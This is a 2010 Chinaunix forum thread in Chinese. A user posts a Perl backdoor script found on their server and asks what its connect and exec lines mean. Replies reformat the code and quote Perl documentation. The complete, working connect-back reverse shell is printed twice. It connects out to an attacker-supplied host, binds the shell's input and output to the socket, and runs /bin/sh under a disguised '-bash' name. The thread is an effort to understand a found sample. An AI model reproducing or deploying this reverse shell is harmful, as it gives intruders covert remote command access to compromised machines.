免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1794 | 回复: 4
打印 上一主题 下一主题

一个后门程序 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2010-07-19 11:31 |只看该作者 |倒序浏览
在服务器上发现的,google了一下,是一个后门程序,但有2个地方(if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {  与 exec {'/bin/sh'} '-bash' . "\0" x 4没有看明白是什么意思,请高手指点,谢谢!



#!/usr/bin/perl
use Socket;
print "Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
  printf "Usage: $0 [Host] <ort>\n";
  exit(1);
}
print "[+] Checking arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
  $port = $ARGV[1];
}
print "[+] Trying to connect...\n";
$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n";
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n";
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die("[-] Unable to Connect\n";
}
print "OK!\n";
print "[+] Spawning a Shell for U!\n";
if (!fork( )) {
  open(STDIN,">&SERVER";
  open(STDOUT,">&SERVER";
  open(STDERR,">&SERVER";
  exec {'/bin/sh'} '-bash' . "\0" x 4;
  exit(0);
}
print "[*] Bingo!Got it!\n\n";

论坛徽章:
0
2 [报告]
发表于 2010-07-19 16:28 |只看该作者
自已顶

论坛徽章:
0
3 [报告]
发表于 2010-07-19 16:31 |只看该作者
本帖最后由 climby 于 2010-07-19 16:38 编辑

并不是别人不想帮你,只是你发代码的时候,很多地方变成了笑脸符,看起来费劲阿。
帮你按照代码格式发一下,如有不对,请更正!

  1. #!/usr/bin/perl
  2. use Socket;
  3. print "Connect Back Backdoor\n\n";

  4. if (!$ARGV[0]) {
  5. printf "Usage: $0 [Host] &lt;ort>\n";
  6. exit(1);
  7. }
  8. print "[+] Checking arguments\n";
  9. $host = $ARGV[0];
  10. $port = 80;
  11. if ($ARGV[1]) {

  12. $port = $ARGV[1];
  13. }
  14. print "[+] Trying to connect...\n";
  15. $proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n";
  16. socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n";
  17. my $target = inet_aton($host);
  18. if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  19. die("[-] Unable to Connect\n";

  20. }
  21. print "OK!\n";
  22. print "[+] Spawning a Shell for U!\n";
  23. if (!fork( )) {
  24. open(STDIN,">&SERVER";
  25. open(STDOUT,">&SERVER";
  26. open(STDERR,">&SERVER";

  27. exec {'/bin/sh'} '-bash' . "\0" x 4;
  28. exit(0);
  29. }
  30. print "[*] Bingo!Got it!\n\n";

复制代码

论坛徽章:
0
4 [报告]
发表于 2010-07-19 16:49 |只看该作者


perldoc -f connect
       connect SOCKET,NAME
               Attempts to connect to a remote socket, just as the connect system call does.
               Returns true if it succeeded, false otherwise.  NAME should be a packed address
               of the appropriate type for the socket.  See the examples in "Sockets:
               Client/Server Communication" in perlipc.

论坛徽章:
0
5 [报告]
发表于 2010-07-19 16:59 |只看该作者
谢谢二位,俺下次一定注意
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP